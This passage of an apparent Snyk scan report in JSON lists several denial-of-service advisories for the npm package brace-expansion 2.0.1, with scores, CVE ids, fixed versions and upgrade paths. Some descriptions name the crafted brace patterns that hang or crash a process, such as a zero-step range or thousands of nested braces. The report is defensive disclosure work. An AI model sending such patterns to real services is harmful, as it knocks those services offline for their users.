"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
